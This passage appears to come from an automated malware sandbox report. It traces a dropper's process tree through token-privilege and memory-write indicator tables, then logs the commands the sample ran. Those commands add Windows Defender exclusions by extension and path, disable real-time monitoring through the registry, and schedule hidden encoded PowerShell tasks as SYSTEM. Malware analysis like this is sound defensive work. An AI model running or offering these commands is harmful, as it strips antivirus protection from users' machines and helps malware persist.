2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
1896	powershell.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2840	powershell.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe
2384	vgQjbpH.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

Processes:

powershell.exeWMIC.exepowershell.EXEpowershell.EXEpowershell.exeWMIC.exepowershell.EXEpowershell.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeIncreaseQuotaPrivilege	2536	WMIC.exe
Token: SeSecurityPrivilege	2536	WMIC.exe
Token: SeTakeOwnershipPrivilege	2536	WMIC.exe
Token: SeLoadDriverPrivilege	2536	WMIC.exe
Token: SeSystemProfilePrivilege	2536	WMIC.exe
Token: SeSystemtimePrivilege	2536	WMIC.exe
Token: SeProfSingleProcessPrivilege	2536	WMIC.exe
Token: SeIncBasePriorityPrivilege	2536	WMIC.exe
Token: SeCreatePagefilePrivilege	2536	WMIC.exe
Token: SeBackupPrivilege	2536	WMIC.exe
Token: SeRestorePrivilege	2536	WMIC.exe
Token: SeShutdownPrivilege	2536	WMIC.exe
Token: SeDebugPrivilege	2536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2536	WMIC.exe
Token: SeRemoteShutdownPrivilege	2536	WMIC.exe
Token: SeUndockPrivilege	2536	WMIC.exe
Token: SeManageVolumePrivilege	2536	WMIC.exe
Token: 33	2536	WMIC.exe
Token: 34	2536	WMIC.exe
Token: 35	2536	WMIC.exe
Token: SeDebugPrivilege	1840	powershell.EXE
Token: SeDebugPrivilege	896	powershell.EXE
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2608	WMIC.exe
Token: SeSecurityPrivilege	2608	WMIC.exe
Token: SeTakeOwnershipPrivilege	2608	WMIC.exe
Token: SeLoadDriverPrivilege	2608	WMIC.exe
Token: SeSystemtimePrivilege	2608	WMIC.exe
Token: SeBackupPrivilege	2608	WMIC.exe
Token: SeRestorePrivilege	2608	WMIC.exe
Token: SeShutdownPrivilege	2608	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2608	WMIC.exe
Token: SeUndockPrivilege	2608	WMIC.exe
Token: SeManageVolumePrivilege	2608	WMIC.exe
Token: SeDebugPrivilege	1708	powershell.EXE
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2832	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2832	WMIC.exe
Token: SeSecurityPrivilege	2832	WMIC.exe
Token: SeTakeOwnershipPrivilege	2832	WMIC.exe
Token: SeLoadDriverPrivilege	2832	WMIC.exe
Token: SeSystemtimePrivilege	2832	WMIC.exe
Token: SeBackupPrivilege	2832	WMIC.exe
Token: SeRestorePrivilege	2832	WMIC.exe
Token: SeShutdownPrivilege	2832	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2832	WMIC.exe
Token: SeUndockPrivilege	2832	WMIC.exe
Token: SeManageVolumePrivilege	2832	WMIC.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1996	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1996	WMIC.exe
Token: SeSecurityPrivilege	1996	WMIC.exe
Token: SeTakeOwnershipPrivilege	1996	WMIC.exe
Token: SeLoadDriverPrivilege	1996	WMIC.exe
Token: SeSystemtimePrivilege	1996	WMIC.exe
Token: SeBackupPrivilege	1996	WMIC.exe
Token: SeRestorePrivilege	1996	WMIC.exe
Token: SeShutdownPrivilege	1996	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1996	WMIC.exe
Token: SeUndockPrivilege	1996	WMIC.exe
Token: SeManageVolumePrivilege	1996	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exetaskeng.exepaqFMqv.exetaskeng.exe

description	pid	process	target process
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 1732 wrote to memory of 2976	1732	57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2976 wrote to memory of 2292	2976	Install.exe	Install.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2292 wrote to memory of 2788	2292	Install.exe	forfiles.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2788 wrote to memory of 2660	2788	forfiles.exe	cmd.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2660 wrote to memory of 2540	2660	cmd.exe	powershell.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2540 wrote to memory of 2536	2540	powershell.exe	WMIC.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 2292 wrote to memory of 2928	2292	Install.exe	schtasks.exe
PID 1552 wrote to memory of 1156	1552	taskeng.exe	paqFMqv.exe
PID 1552 wrote to memory of 1156	1552	taskeng.exe	paqFMqv.exe
PID 1552 wrote to memory of 1156	1552	taskeng.exe	paqFMqv.exe
PID 1552 wrote to memory of 1156	1552	taskeng.exe	paqFMqv.exe
PID 1156 wrote to memory of 2248	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 2248	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 2248	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 2248	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 1916	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 1916	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 1916	1156	paqFMqv.exe	schtasks.exe
PID 1156 wrote to memory of 1916	1156	paqFMqv.exe	schtasks.exe
PID 1972 wrote to memory of 1840	1972	taskeng.exe	powershell.EXE
PID 1972 wrote to memory of 1840	1972	taskeng.exe	powershell.EXE
PID 1972 wrote to memory of 1840	1972	taskeng.exe	powershell.EXE

C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
"C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1732

C:\Users\Admin\AppData\Local\Temp\7zS12A6.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2976

C:\Users\Admin\AppData\Local\Temp\7zS149A.tmp\Install.exe
.\Install.exe /FvdidQpG "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2292

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m help.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2540

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2536

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bmQWCxleEgxbTUrSZz" /SC once /ST 05:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\lWMApHnNtvIHqRb\paqFMqv.exe\" xv /VgJdidQ 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 576
4⤵
- Loads dropped DLL
- Program crash
PID:2680

C:\Windows\system32\taskeng.exe
taskeng.exe {0DA91DCB-5680-45B0-B2A4-011F86AEFA19} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:1552

C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\lWMApHnNtvIHqRb\paqFMqv.exe
C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\lWMApHnNtvIHqRb\paqFMqv.exe xv /VgJdidQ 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gszAxEWdb" /SC once /ST 03:35:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2248

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gszAxEWdb"
3⤵
PID:1916

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gszAxEWdb"
3⤵
PID:448

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:3064

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:984

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1256

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:956

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gjPtYRBQN" /SC once /ST 04:30:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:924

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gjPtYRBQN"
3⤵
PID:1900

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gjPtYRBQN"
3⤵
PID:1516

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:2912

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:1712

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2608

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2488

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2988

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2924

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2556

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2920

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2508

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2968

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2540

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\ruCXiJvmKkuTmmIt\BIcMuDnS\JcMSFZLTUFOfiwRG.wsf"
3⤵
PID:2656

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\ruCXiJvmKkuTmmIt\BIcMuDnS\JcMSFZLTUFOfiwRG.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:2848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1560

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1248

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:3068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2560

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1644

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2288

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2120

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2680

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1204

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2004

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:320

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2440

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:680

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:632

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:3044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:448

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NonltQQlyMoZtVVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:328

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2132

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2408

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ruCXiJvmKkuTmmIt" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2164

C:\Windows\SysWOW64\schtasks.exe
